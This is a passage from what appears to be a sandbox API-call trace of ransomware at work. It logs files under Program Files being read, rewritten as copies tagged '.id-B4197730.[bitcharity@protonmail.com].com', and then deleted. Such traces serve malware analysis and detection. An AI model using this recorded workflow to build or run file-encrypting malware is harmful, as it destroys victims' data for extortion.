SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.443] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\circus.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\internet explorer\\circus.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0296.443] GetLastError () returned 0x0 [0296.443] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x12800, lpOverlapped=0x0) returned 1 [0296.629] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x12810, lpOverlapped=0x0) returned 1 [0296.631] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.631] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0296.631] SetEndOfFile (hFile=0x10a4) returned 1 [0296.631] CloseHandle (hObject=0x10a4) returned 1 [0296.631] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.631] SetEndOfFile (hFile=0x1088) returned 1 [0296.632] CloseHandle (hObject=0x1088) returned 1 [0296.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\circus.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.633] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\circus.exe" (normalized: "c:\\program files\\internet explorer\\circus.exe")) returned 1 [0296.633] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.633] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.633] lstrlenW (lpString=".doc") returned 4 [0296.633] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.633] lstrlenW (lpString=".docx") returned 5 [0296.633] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0296.633] lstrlenW (lpString=".pdf") returned 4 [0296.633] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.633] lstrlenW (lpString=".xls") returned 4 [0296.633] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.633] lstrlenW (lpString=".xlsx") returned 5 [0296.633] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0296.633] lstrlenW (lpString=".ppt") returned 4 [0296.633] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.633] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.633] lstrlenW (lpString=".zip") returned 4 [0296.633] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.633] lstrlenW (lpString=".rar") returned 4 [0296.633] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.633] lstrlenW (lpString=".bz2") returned 4 [0296.633] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.634] lstrlenW (lpString=".7z") returned 3 [0296.634] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.634] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.634] lstrlenW (lpString=".dbf") returned 4 [0296.634] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.634] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.634] lstrlenW (lpString=".1cd") returned 4 [0296.634] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.634] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.634] lstrlenW (lpString=".jpg") returned 4 [0296.634] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0296.634] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.634] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.634] lstrlenW (lpString=".doc") returned 4 [0296.634] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.634] lstrlenW (lpString=".docx") returned 5 [0296.634] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0296.634] lstrlenW (lpString=".pdf") returned 4 [0296.634] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.634] lstrlenW (lpString=".xls") returned 4 [0296.634] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.634] lstrlenW (lpString=".xlsx") returned 5 [0296.634] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0296.634] lstrlenW (lpString=".ppt") returned 4 [0296.634] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.634] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.634] lstrlenW (lpString=".zip") returned 4 [0296.634] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.634] lstrlenW (lpString=".rar") returned 4 [0296.634] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.634] lstrlenW (lpString=".bz2") returned 4 [0296.634] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.634] lstrlenW (lpString=".7z") returned 3 [0296.634] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.634] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.634] lstrlenW (lpString=".dbf") returned 4 [0296.634] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.635] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.635] lstrlenW (lpString=".1cd") returned 4 [0296.635] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.635] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\circus.exe") returned 45 [0296.635] lstrlenW (lpString=".jpg") returned 4 [0296.635] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0296.635] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.635] lstrlenW (lpString="deploy.dll") returned 10 [0296.635] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.635] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=587840) returned 1 [0296.635] CloseHandle (hObject=0x1088) returned 1 [0296.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0296.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.635] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.635] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.636] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.636] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0296.636] GetLastError () returned 0x0 [0296.636] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x8f840, lpOverlapped=0x0) returned 1 [0296.668] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x8f850, lpOverlapped=0x0) returned 1 [0296.677] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.677] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0296.677] SetEndOfFile (hFile=0x10a4) returned 1 [0296.677] CloseHandle (hObject=0x10a4) returned 1 [0296.677] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.677] SetEndOfFile (hFile=0x1088) returned 1 [0296.682] CloseHandle (hObject=0x1088) returned 1 [0296.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.682] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1 [0296.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.683] lstrlenW (lpString=".doc") returned 4 [0296.683] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.683] lstrlenW (lpString=".docx") returned 5 [0296.683] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0296.683] lstrlenW (lpString=".pdf") returned 4 [0296.683] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.683] lstrlenW (lpString=".xls") returned 4 [0296.683] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.683] lstrlenW (lpString=".xlsx") returned 5 [0296.683] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0296.683] lstrlenW (lpString=".ppt") returned 4 [0296.683] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.683] lstrlenW (lpString=".zip") returned 4 [0296.683] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.683] lstrlenW (lpString=".rar") returned 4 [0296.683] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.683] lstrlenW (lpString=".bz2") returned 4 [0296.683] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.683] lstrlenW (lpString=".7z") returned 3 [0296.683] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.683] lstrlenW (lpString=".dbf") returned 4 [0296.683] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.683] lstrlenW (lpString=".1cd") returned 4 [0296.683] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.683] lstrlenW (lpString=".jpg") returned 4 [0296.683] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.683] lstrlenW (lpString=".doc") returned 4 [0296.683] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.683] lstrlenW (lpString=".docx") returned 5 [0296.683] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0296.684] lstrlenW (lpString=".pdf") returned 4 [0296.684] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.684] lstrlenW (lpString=".xls") returned 4 [0296.684] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.684] lstrlenW (lpString=".xlsx") returned 5 [0296.684] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0296.684] lstrlenW (lpString=".ppt") returned 4 [0296.684] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.684] lstrlenW (lpString=".zip") returned 4 [0296.684] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.684] lstrlenW (lpString=".rar") returned 4 [0296.684] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.684] lstrlenW (lpString=".bz2") returned 4 [0296.684] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.684] lstrlenW (lpString=".7z") returned 3 [0296.684] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.684] lstrlenW (lpString=".dbf") returned 4 [0296.684] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.684] lstrlenW (lpString=".1cd") returned 4 [0296.684] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0296.684] lstrlenW (lpString=".jpg") returned 4 [0296.684] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.685] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.685] lstrlenW (lpString="deployJava1.dll") returned 15 [0296.685] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.685] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=1026112) returned 1 [0296.685] CloseHandle (hObject=0x1088) returned 1 [0296.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0296.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.685] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.685] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.685] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.685] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0296.705] GetLastError () returned 0x0 [0296.705] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0xfa840, lpOverlapped=0x0) returned 1 [0297.559] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xfa850, lpOverlapped=0x0) returned 1 [0297.879] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.879] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf2, lpOverlapped=0x0) returned 1 [0297.880] SetEndOfFile (hFile=0x10c8) returned 1 [0297.880] CloseHandle (hObject=0x10c8) returned 1 [0297.880] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.880] SetEndOfFile (hFile=0x1088) returned 1 [0297.888] CloseHandle (hObject=0x1088) returned 1 [0297.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0297.888] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1 [0297.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.888] lstrlenW (lpString=".doc") returned 4 [0297.888] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.888] lstrlenW (lpString=".docx") returned 5 [0297.888] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0297.888] lstrlenW (lpString=".pdf") returned 4 [0297.888] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.888] lstrlenW (lpString=".xls") returned 4 [0297.888] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.888] lstrlenW (lpString=".xlsx") returned 5 [0297.888] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0297.889] lstrlenW (lpString=".ppt") returned 4 [0297.889] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.889] lstrlenW (lpString=".zip") returned 4 [0297.889] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.889] lstrlenW (lpString=".rar") returned 4 [0297.889] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.889] lstrlenW (lpString=".bz2") returned 4 [0297.889] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.889] lstrlenW (lpString=".7z") returned 3 [0297.889] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.889] lstrlenW (lpString=".dbf") returned 4 [0297.889] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.889] lstrlenW (lpString=".1cd") returned 4 [0297.889] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.889] lstrlenW (lpString=".jpg") returned 4 [0297.889] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.889] lstrlenW (lpString=".doc") returned 4 [0297.889] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.889] lstrlenW (lpString=".docx") returned 5 [0297.889] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0297.889] lstrlenW (lpString=".pdf") returned 4 [0297.889] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.889] lstrlenW (lpString=".xls") returned 4 [0297.889] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.889] lstrlenW (lpString=".xlsx") returned 5 [0297.889] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0297.889] lstrlenW (lpString=".ppt") returned 4 [0297.889] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.889] lstrlenW (lpString=".zip") returned 4 [0297.890] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.890] lstrlenW (lpString=".rar") returned 4 [0297.890] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.890] lstrlenW (lpString=".bz2") returned 4 [0297.890] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.890] lstrlenW (lpString=".7z") returned 3 [0297.890] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.890] lstrlenW (lpString=".dbf") returned 4 [0297.890] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.890] lstrlenW (lpString=".1cd") returned 4 [0297.890] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0297.890] lstrlenW (lpString=".jpg") returned 4 [0297.890] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.890] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0297.890] lstrlenW (lpString="fxplugins.dll") returned 13 [0297.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0297.912] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=186944) returned 1 [0297.912] CloseHandle (hObject=0x1088) returned 1 [0297.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0297.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0297.913] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.913] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.036] GetLastError () returned 0x0 [0298.036] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x2da40, lpOverlapped=0x0) returned 1 [0298.070] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x2da50, lpOverlapped=0x0) returned 1 [0298.073] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.073] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xee, lpOverlapped=0x0) returned 1 [0298.073] SetEndOfFile (hFile=0x10c8) returned 1 [0298.073] 